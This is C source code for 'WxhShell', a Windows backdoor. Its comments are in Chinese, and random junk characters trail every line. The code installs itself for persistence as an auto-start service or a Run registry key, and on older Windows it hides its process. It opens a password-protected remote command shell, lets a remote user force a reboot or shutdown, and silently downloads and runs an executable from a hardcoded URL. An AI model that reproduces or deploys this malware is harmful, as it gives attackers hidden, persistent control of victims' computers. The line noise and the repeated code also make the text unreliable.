    break; wIHz TL  
    } %d\+(:uu/  
  // 关机 A8Y~^wn  
  case 'd': { T`[ZNq+${  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )`7h,w J[1  
    if(Boot(SHUTDOWN)) Ap9w H[H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hrt-<7U  
    else { u#|Jl|aT  
    closesocket(wsh); _Hj,;Z  
    ExitThread(0); Oip..f0  
    } %=eD)p7l-  
    break; _I5+o\;1  
    } xF+x I6  
  // 获取shell aV, J_Q6r  
  case 's': { .;6bMP[YA  
    CmdShell(wsh); .1lc'gu5y  
    closesocket(wsh); l6Bd<tSH  
    ExitThread(0); +c_CYkHJ/  
    break; !Ve3:OZ.nO  
  } nEr, jd~f  
  // 退出 Sd11ZC6  
  case 'x': { e 3oIoj4o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VH65=9z  
    CloseIt(wsh); KphEw[4/  
    break; }epN<DL  
    } H@2+wr)$}  
  // 离开 1D]wW%us  
  case 'q': { DO{4n1-U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;r}<o?'RM  
    closesocket(wsh); xc3Q7u!|  
    WSACleanup(); X[6 z  
    exit(1); biK.HL\V  
    break; &|*|  
        } >X)G`N@ !  
  } H>9$L~  
  } =Ybu_>  
aQ\O ]gCE  
  // 提示信息 \C|06Bs $  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e0 EJ[bG  
} 8=uljn/  
  } Zv7)+ Q  
=v9;HPiO  
  return; SBt: `,  
} YgDasKFm'  
z"`?<A&u  
// shell模块句柄 yRDLg c  
int CmdShell(SOCKET sock) VvKH]>*  
{ `#U6`[[  
STARTUPINFO si; +__Rk1CVh  
ZeroMemory(&si,sizeof(si)); S0yT%V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uM#/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z ZQoY_UI  
PROCESS_INFORMATION ProcessInfo; XwMC/]lK<  
char cmdline[]="cmd"; d?.x./1[qi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R\?!r4  
  return 0; _Qas+8NW  
} Jsl,r+'H  
R)z|("%ec  
// 自身启动模式 s#3{c@^3  
int StartFromService(void) =c'LG   
{ A:Z:&(NtE:  
typedef struct K.~U%v}  
{ 5N/;'ySAE_  
  DWORD ExitStatus; ,5:86'p  
  DWORD PebBaseAddress; +0DIN4Y(4  
  DWORD AffinityMask; ~Ji A  
  DWORD BasePriority; Fy^\Uw  
  ULONG UniqueProcessId; HL]?CWtGP  
  ULONG InheritedFromUniqueProcessId; xm5D$m3#  
}   PROCESS_BASIC_INFORMATION; \=~Ap#Mpc4  
)9O{4PbU!  
PROCNTQSIP NtQueryInformationProcess; % e(,PL  
107SXYdhI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EzaOg|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uPPe"$  
gu!A:Q  
  HANDLE             hProcess; ^y,ip=<5\3  
  PROCESS_BASIC_INFORMATION pbi; 3ssio-X  
p"Y=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H Vy^^$  
  if(NULL == hInst ) return 0; 0a5P@;"a  
MRc^lYj{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 19_F\32  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5YasD6l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zD'gGxM1  
Jo ^ o`9  
  if (!NtQueryInformationProcess) return 0; [nrP; _  
L~~aW0,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zoU.\]#C  
  if(!hProcess) return 0;  Bv3v;^  
"7DPsPs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [B[J%?NS  
PZs  
  CloseHandle(hProcess); Z:Wix|,ONS  
yLP0w^Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M<729M  
if(hProcess==NULL) return 0; IP3-lru  
yY+2;`CH  
HMODULE hMod; 6-~  
char procName[255]; "?!IPX2\S  
unsigned long cbNeeded; b8Qm4b?:4  
Dcf`+?3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cD\Qt9EI  
V-31x)  
  CloseHandle(hProcess); <|4j<U  
{BF\G%v;+  
if(strstr(procName,"services")) return 1; // 以服务启动 8"@<s?0\"  
&zR}jD>  
  return 0; // 注册表启动 ,Xw/ t>  
} m`|Z1CT  
Am0$UeSZ  
// 主模块 U7W ct %  
int StartWxhshell(LPSTR lpCmdLine) 6!$S1z#wM  
{ bu.36\78  
  SOCKET wsl; C"}x=cK  
BOOL val=TRUE; xl3U  
  int port=0; |Yx8Ez  
  struct sockaddr_in door; :1iw_GhJf  
O]>Or3oO  
  if(wscfg.ws_autoins) Install(); km^AX:r1  
z(ajR*\#  
port=atoi(lpCmdLine); B@4#y9`5  
E_OLf%um  
if(port<=0) port=wscfg.ws_port; x[X.// :  
D7 @10;F}[  
  WSADATA data; ^V:YNUqp#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &Fi8@0Fh  
Um~jp:6p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }MX`WW0\]Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~?p > L  
  door.sin_family = AF_INET; ms$o,[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PQK_*hJG"  
  door.sin_port = htons(port); dx~Wm1  
Kk,->q<1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kBT uM"  
closesocket(wsl); b7n~z1$  
return 1; `XnFc*L 1  
} } 8svd#S+  
17GyE=Uu  
  if(listen(wsl,2) == INVALID_SOCKET) { H\^^p!^)  
closesocket(wsl); H|^4e   
return 1; +SJ aE] $  
} %[0"[<1a  
  Wxhshell(wsl); #yqcUbJY0R  
  WSACleanup(); bY<"$);s  
jC oZm(bi  
return 0; M;E&@[5  
I9MI}0}7  
} %nIjRmqM~  
oeIS&O.K  
// 以NT服务方式启动 M]W4S4&Y=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YcI]_[  
{ 5Ql6?U HD  
DWORD   status = 0; ]Cj&C/(  
  DWORD   specificError = 0xfffffff;  4@5<B  
X>CYKRtb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DFiexOb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5u&jNU5m_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IJ0RHDod:  
  serviceStatus.dwWin32ExitCode     = 0; _+{s^n=  
  serviceStatus.dwServiceSpecificExitCode = 0; ql8:s>1T  
  serviceStatus.dwCheckPoint       = 0; s(dox; d  
  serviceStatus.dwWaitHint       = 0; k91Y"_&  
41.+3VP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RsbrD8*AD  
  if (hServiceStatusHandle==0) return; vw3W:TL  
2|cIu 'U  
status = GetLastError(); >[p+L='  
  if (status!=NO_ERROR) *-n$n  
{ <Z5prunov  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; acH.L _B:  
    serviceStatus.dwCheckPoint       = 0; w8E,zH  
    serviceStatus.dwWaitHint       = 0; 9> |rIw  
    serviceStatus.dwWin32ExitCode     = status; HG^8&uh]  
    serviceStatus.dwServiceSpecificExitCode = specificError; hk=+t&Y<H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&'".N,}  
    return; [:o#d`^  
  } ~5|a9HV:  
^mGTZxO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _V;J7Vz  
  serviceStatus.dwCheckPoint       = 0; wjl? @K  
  serviceStatus.dwWaitHint       = 0; Kb}N!<Z*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QW!'A`*x  
} y0Tb/&xN  
LC}]6  
// 处理NT服务事件,比如:启动、停止 (]pQ.3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O-7 \qz  
{ hOq1 "kL  
switch(fdwControl) ' Sl9xd  
{ E>ev/6ox  
case SERVICE_CONTROL_STOP: g5cR.]oz  
  serviceStatus.dwWin32ExitCode = 0; |h'ugx1iY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6`yq4!&v  
  serviceStatus.dwCheckPoint   = 0; !=-l760  
  serviceStatus.dwWaitHint     = 0; bNC1[GG[  
  { 9Hu%Z/[!p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+L5k!1D  
  } K)k!`du!6  
  return; YziQU_  
case SERVICE_CONTROL_PAUSE: cx$Oh`-Car  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DQ~@=%?ni  
  break; tpVtbh1)u  
case SERVICE_CONTROL_CONTINUE: ]6nF>C-C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VTF),e!  
  break; )j$Bo{  
case SERVICE_CONTROL_INTERROGATE: -H]svOX  
  break; $Fn# b|e  
}; 8xNKVj)@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mr;WxxO5  
} A[b'MNsv  
x&f?c=\F  
// 标准应用程序主函数 > 1r>cZn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7#RW4ZM  
{ Ghj6&K%b0  
,^'Y7"  
// 获取操作系统版本 KLxg  
OsIsNt=GetOsVer(); wCdUYgsPT"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ubgq8@;  
OZ-F+#d  
  // 从命令行安装 hP|5q&wX  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?GFVV->i  
xv)7-jlx  
  // 下载执行文件 !is8`8F8  
if(wscfg.ws_downexe) { ZpwB"%e$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G1D(-X4ALZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Um|:AT}`^  
} { u;ntDr  
a E#s#Kv   
if(!OsIsNt) { =e4,)Wd9&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ve>8vw2  
HideProc(); Ar\`OhR  
StartWxhshell(lpCmdLine); #3qkG)  
} {u!,TDt*  
else g'IS8@  
  if(StartFromService()) * "E]^wCn  
  // 以服务方式启动 is6JS^Q  
  StartServiceCtrlDispatcher(DispatchTable); ZJx:?*0a  
else Q8P;AN_JS  
  // 普通方式启动 !?KY;3L:  
  StartWxhshell(lpCmdLine); x|Q6[Y  
Y!SD^Ie7!  
return 0; Pukq{/27  
} c,+oH<bZZs  
`T mIrc  
wp@c;gK7  
t!K|3>w  
=========================================== tV<A u  
\Q#F&q0  
\^_F>M  
NSxDCTw  
F<I-^BY)  
7igrRU#1%  
" {yJ{DU?%Y  
o`& idn|,  
#include <stdio.h> j6Vuj/+}  
#include <string.h> "=qdBG9  
#include <windows.h> Q@M,:0+cy  
#include <winsock2.h> `a<G7  
#include <winsvc.h> 9m#`56G`  
#include <urlmon.h> yJr'\(  
SX;FBO(p  
#pragma comment (lib, "Ws2_32.lib") wK,t q  
#pragma comment (lib, "urlmon.lib") h5Z%|J>;0  
(g   
#define MAX_USER   100 // 最大客户端连接数 YAO.Ccz  
#define BUF_SOCK   200 // sock buffer 44n^21k  
#define KEY_BUFF   255 // 输入 buffer t4,6`d?C  
zJ#q*2A(Z  
#define REBOOT     0   // 重启 nc`[fy|}  
#define SHUTDOWN   1   // 关机 `OBDx ^6F  
$#0%gs/x  
#define DEF_PORT   5000 // 监听端口 =LuA [g  
$ccI(J`zux  
#define REG_LEN     16   // 注册表键长度 V{(ve#y7`{  
#define SVC_LEN     80   // NT服务名长度 Ao0F?2|  
T,;6q!s=  
// 从dll定义API inp=-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;8U NM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `f b}cJUa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s'i1!GNF B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7^:s/xHO*  
or(Z-8a_  
// wxhshell配置信息 Q~`]0R159e  
struct WSCFG { (}}BZ S&.  
  int ws_port;         // 监听端口 Fn 6>n04v  
  char ws_passstr[REG_LEN]; // 口令 G66vzwO   
  int ws_autoins;       // 安装标记, 1=yes 0=no 0C3CqGP  
  char ws_regname[REG_LEN]; // 注册表键名 =m:0#&t,*  
  char ws_svcname[REG_LEN]; // 服务名 x; :[0(st}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K+n6.BzW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f\Pd#$3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rh: \/31~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 03# r F@e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cA_v*`YL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lS}5bcjR=k  
UP#]n 69y  
}; R_(A&,  
PF4Cs3m/  
// default Wxhshell configuration }"_S;[{d  
struct WSCFG wscfg={DEF_PORT, %vMi kibI  
    "xuhuanlingzhe", YsLEbue   
    1, #K  ]k  
    "Wxhshell", / EWF0XV!  
    "Wxhshell", #O G_O I  
            "WxhShell Service",  M)Y`u  
    "Wrsky Windows CmdShell Service", Ib]{rmaP  
    "Please Input Your Password: ", 84|Hn|4t  
  1, D @T,j4o  
  "http://www.wrsky.com/wxhshell.exe", sgFpZk  
  "Wxhshell.exe" VNaa(Q  
    }; e PlEd'Z  
$T~|@XH  
// 消息定义模块 $UKV2c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qksN {t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *"4 OXyV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;Q-(tGd  
char *msg_ws_ext="\n\rExit."; (%\N-[yZ  
char *msg_ws_end="\n\rQuit."; hCc I >[H5  
char *msg_ws_boot="\n\rReboot..."; 2v yB [(  
char *msg_ws_poff="\n\rShutdown..."; *h$Dh5%P  
char *msg_ws_down="\n\rSave to "; .~C*7_  
|VTm5.23  
char *msg_ws_err="\n\rErr!"; nB"q  
char *msg_ws_ok="\n\rOK!"; "o% N`Xlx  
%Wn/)#T|  
char ExeFile[MAX_PATH]; YP+0 uZ[g  
int nUser = 0; vlx wt~  
HANDLE handles[MAX_USER]; O Y/QA  
int OsIsNt; ss |<\DE+  
!PJ;d)\T  
SERVICE_STATUS       serviceStatus; 7*uG9iX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )}vQ?n[:'  
ZA+$ZU^  
// 函数声明 jgVra*   
int Install(void); iEsI  
int Uninstall(void); N V^ktln  
int DownloadFile(char *sURL, SOCKET wsh); jCtl ]  
int Boot(int flag); r9yUye}  
void HideProc(void); }$Q+x'  
int GetOsVer(void); :R"k=l1  
int Wxhshell(SOCKET wsl); eN,s#/ip]  
void TalkWithClient(void *cs); A!ba_14  
int CmdShell(SOCKET sock); N`Zm[Sv7  
int StartFromService(void); Ddghw(9*H  
int StartWxhshell(LPSTR lpCmdLine); {(7Dz*0  
psta&u\ q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \@:pWe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q{Jz;6"  
:nd }e  
// 数据结构和表定义 Z>Rd6o'  
SERVICE_TABLE_ENTRY DispatchTable[] = Mw\/gm_3  
{ {o*ziZh  
{wscfg.ws_svcname, NTServiceMain}, R5H UgI  
{NULL, NULL} v}M, M&?  
}; G$x uHHZ'  
 i('z~  
// 自我安装 a+{YTR>0m  
int Install(void) (|I0C 'Ki  
{ ;^=eiurv  
  char svExeFile[MAX_PATH];  bXQ(6P  
  HKEY key; {MO`0n; rt  
  strcpy(svExeFile,ExeFile); [f:>tRdH  
qF%wl  
// 如果是win9x系统,修改注册表设为自启动 &bRmr/D  
if(!OsIsNt) { ^8 AV#a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'i%Azzv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 13}=;4O  
  RegCloseKey(key); ~g;(` g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t/u$Ts  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bb}JyT  
  RegCloseKey(key); @:oMlIw;  
  return 0; 49 fs$wr@  
    } <Lyz7R6  
  } |*Z'WUv  
} |/]bpG'z  
else { +`mJh \*  
3S_KycE{  
// 如果是NT以上系统,安装为系统服务 Yu9Ccj`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g5M-Vu  
if (schSCManager!=0) |2 g }i\  
{ Z@t).$  
  SC_HANDLE schService = CreateService }u5 Mexs  
  ( z,P:i$  
  schSCManager, ZBJ.dK?Ky|  
  wscfg.ws_svcname, [A yq%MA  
  wscfg.ws_svcdisp, P=KOw;bs  
  SERVICE_ALL_ACCESS, L_<&oq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }zlvs a+  
  SERVICE_AUTO_START, 3 ^{U:"N0  
  SERVICE_ERROR_NORMAL, 4<ER dP7"-  
  svExeFile, W a2V Z  
  NULL, $kZ,uvKN  
  NULL, :c!7rh7O  
  NULL, kD >|e<}\  
  NULL, SdnqM`uFo  
  NULL aS'G&(_  
  ); DJr 8<u  
  if (schService!=0) "P&|e|7  
  { #Ru+|KL  
  CloseServiceHandle(schService); nm*1JA.:  
  CloseServiceHandle(schSCManager); 7V 2%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6i9m!YQV  
  strcat(svExeFile,wscfg.ws_svcname); 0 -=onX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rfXM*h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HqcXP2  
  RegCloseKey(key); YZr^;jfP  
  return 0; B5=L</Aj  
    } O)\xElu  
  } v\n!Li H  
  CloseServiceHandle(schSCManager); IW$&V``v  
} oT\B-lx  
} 4w*F!E2H\}  
/+JCi6{sHS  
return 1; ag:#82C  
} V BIPB  
BXZ( %tnY  
// 自我卸载 D<5gdIw  
int Uninstall(void) /UN%P2>^1  
{ M GN*i9CE  
  HKEY key; )WwysGkqol  
eq(|%]a=  
if(!OsIsNt) { |>j=#2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4{}u PbS  
  RegDeleteValue(key,wscfg.ws_regname); NO`LSF  
  RegCloseKey(key); tN3Xn]   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hu1w/PLq  
  RegDeleteValue(key,wscfg.ws_regname); A;SRm<,  
  RegCloseKey(key); jMW|B  
  return 0; 87YT;Z;U&  
  } $Z.c9rY1  
} O4]Ss}ol  
} &|n*&@fF  
else { Af5In9WB5  
A!Xn^U*p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y;;^o6Gnw  
if (schSCManager!=0) w{I60|C]*  
{ Q]{DhDz ?+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h&h]z[r R  
  if (schService!=0) }\JoE4  
  { nITr5$f  
  if(DeleteService(schService)!=0) { riFE.;  
  CloseServiceHandle(schService); ,(OA5%A9zK  
  CloseServiceHandle(schSCManager); ~AjbF(Ad  
  return 0; $`{}4,5M  
  } azj<aaH  
  CloseServiceHandle(schService); Y49kq}  
  } Vn=J$Uv0  
  CloseServiceHandle(schSCManager); oYlq1MB?  
} gA" =so  
} UrN$nhH  
&XrF#s  
return 1; F] M3/M  
} &e cf5jFy  
#)my)}o\p  
// 从指定url下载文件 V [[B~Rs  
int DownloadFile(char *sURL, SOCKET wsh) v*FCE 1HI  
{ SDA +XnmH  
  HRESULT hr; hYb!RRGn  
char seps[]= "/"; /bt@HFL|`  
char *token; :d)@|SR1  
char *file; %+o]1R  
char myURL[MAX_PATH]; ~qFi0<-M  
char myFILE[MAX_PATH]; pC_2_,6$  
$Snwx  
strcpy(myURL,sURL); GrVvOJr  
  token=strtok(myURL,seps); 8eWb{n uJ>  
  while(token!=NULL) "%,zB_ng\<  
  { b:Rl }"a  
    file=token; %#/7Tl:  
  token=strtok(NULL,seps); c6BaC@2  
  } *5*d8;@>  
FZj tQ{M  
GetCurrentDirectory(MAX_PATH,myFILE); k}F;e_  
strcat(myFILE, "\\"); (a&.Ad0{  
strcat(myFILE, file); Ev*HH+:b>  
  send(wsh,myFILE,strlen(myFILE),0); < g6 [mS  
send(wsh,"...",3,0); KXicy_@DC`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B<8Z?:3YS  
  if(hr==S_OK) [#lPT'l  
return 0; &&_W,id`  
else =qI JXV  
return 1; zVl(?b&CF  
u^!-Z)W  
} y])xP%q2 O  
k3S**&i!CR  
// 系统电源模块 pg4M$;ED  
int Boot(int flag) Kc{fT^E  
{ m"H9C-Y  
  HANDLE hToken; Xa9G;J$  
  TOKEN_PRIVILEGES tkp; +~w '?vNc  
(Pvch!  
  if(OsIsNt) { zLf^O%zN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oE-i`;\8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9FcCq*D  
    tkp.PrivilegeCount = 1; 9.vHnMcq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @105 @9F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CIO&VK  
if(flag==REBOOT) { `lcpUWn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~y B[}BPf  
  return 0; pZjyzH{~  
} ,((5|MbM/  
else { SJy:5e?zk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D?X97jNm  
  return 0; ?B@iBOcu[  
} xU67ztS'E'  
  } @-!w,$F)%d  
  else { q;>'jHh  
if(flag==REBOOT) { g>VkQos5"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `P : -a7_  
  return 0; HbZ3QWP  
} - bFz  
else { 7/Ve=7]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1eiH%{w  
  return 0; i]9SCO  
} Hr96sN.R   
}  "}Ya.  
7CrWsQl u  
return 1; ==UH)o`?8  
} 2&Wc4,O!i  
qI5/ME(}  
// win9x进程隐藏模块 -!wm]kx f  
void HideProc(void) 0o`0Td  
{ TtkB  
E$smr\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O yj!N`&z@  
  if ( hKernel != NULL ) 2\EMtR>.M'  
  { |iO2,99i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S`"IM?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X} 8rrC=  
    FreeLibrary(hKernel); >Mi A|N=  
  } xJc'tT6@  
rpDH>Hzq  
return; D&Ngg)_Mq  
} F?5kl/("  
3smcCQA%  
// 获取操作系统版本 Z#"6&kv  
int GetOsVer(void) .`xcR]PQ  
{ YBHmd  
  OSVERSIONINFO winfo; K _O3DcQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #l8CUg~Uj  
  GetVersionEx(&winfo); 9I^_n+E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @f{)]I +f  
  return 1; SGjaH 8z  
  else -pa.-@  
  return 0; w7w$z _P  
} 3#0nus|=S  
PJh\U1Z  
// 客户端句柄模块 s)xfTr_$  
int Wxhshell(SOCKET wsl) cZ^$!0  
{ +w GE  
  SOCKET wsh; NTgk0cq  
  struct sockaddr_in client; ]!h%Jlu  
  DWORD myID; 3lA<{m;V  
k{"~G#GwP  
  while(nUser<MAX_USER) ZN G.W0{p  
{ |Q.?<T:wt=  
  int nSize=sizeof(client); 3vVhE,1N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F N(&3Ull  
  if(wsh==INVALID_SOCKET) return 1;  ,ulTZV  
Xo{Ce%L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q'q'v S  
if(handles[nUser]==0) *A c~   
  closesocket(wsh); dtm_~r7~  
else `I_%`15>  
  nUser++; ~>s^/`|?  
  } < ~x5{p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FW[<;$  
'fawpU|h  
  return 0; Es[?yft2Q<  
} t(Iy[-  
\!z=x#!O$  
// 关闭 socket :vX;>SH$p  
void CloseIt(SOCKET wsh) 8=)A ksu  
{ P#rwYPww\  
closesocket(wsh); q0DoR@  
nUser--; w?<:`  
ExitThread(0); +z("'Cv  
} P,D >gxl  
*w> /vu  
// 客户端请求句柄 BjOrQAO  
void TalkWithClient(void *cs) 83;1L:}`  
{ J>XaQfzwU  
U5izOFc  
  SOCKET wsh=(SOCKET)cs; _.Uz!2  
  char pwd[SVC_LEN]; iT9cw`A^%  
  char cmd[KEY_BUFF]; b LSI\  
char chr[1]; ?aO%\<b  
int i,j; _lyP7$[: c  
G}D?+MWY  
  while (nUser < MAX_USER) { >D<nfG<s Z  
 fB;'U  
if(wscfg.ws_passstr) { 5 MQRb?[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JL;H:`x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #;}IHAR  
  //ZeroMemory(pwd,KEY_BUFF); 7{az %I$h  
      i=0; sy/J+==  
  while(i<SVC_LEN) { Me5umA  
Pgye{{  
  // 设置超时 ;@v7AF6Hq  
  fd_set FdRead; *M- .Vor?R  
  struct timeval TimeOut; ] p+t>'s  
  FD_ZERO(&FdRead); W+Gu\=s%O  
  FD_SET(wsh,&FdRead); G9Azd^3  
  TimeOut.tv_sec=8; 8*6J\FE<p  
  TimeOut.tv_usec=0; '>'h7F=tY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EkWe6m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qpf BM  
U|U/B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ): Q5u6  
  pwd=chr[0]; hO{@!H$l  
  if(chr[0]==0xd || chr[0]==0xa) { )@SIFE  
  pwd=0; ?_n.B=H`8  
  break; o)S>x0| [  
  } $V`O%Sz  
  i++; Ldir'FW  
    } ?xUz{O0/  
.7E-  
  // 如果是非法用户,关闭 socket >{Lfrc1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #J^p,6  
} D|9B1>A,m  
 s.GTY@t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  w8FZXL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TSHp.ABf  
] ^  
while(1) { D8[&}D4  
?ADk`ts~,}  
  ZeroMemory(cmd,KEY_BUFF); Wc`Vcn1  
|a\s}M1  
      // 自动支持客户端 telnet标准   3%|<U51  
  j=0; \Xxx5:qM  
  while(j<KEY_BUFF) { s#* mn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '[\%P2c)Q  
  cmd[j]=chr[0]; *p.ELI1IC  
  if(chr[0]==0xa || chr[0]==0xd) { :*c@6;2@  
  cmd[j]=0; \O7,CxD2  
  break; 2(`2f  
  } @J" }~Y  
  j++; &\!-d%||)  
    } B*DH^";t  
{6/%w,{,  
  // 下载文件 /xsa-F  
  if(strstr(cmd,"http://")) { #docBsHX&s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q&M(wnl5  
  if(DownloadFile(cmd,wsh)) /0SPRf}p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |U7{!yy%MF  
  else 3P-#NL  
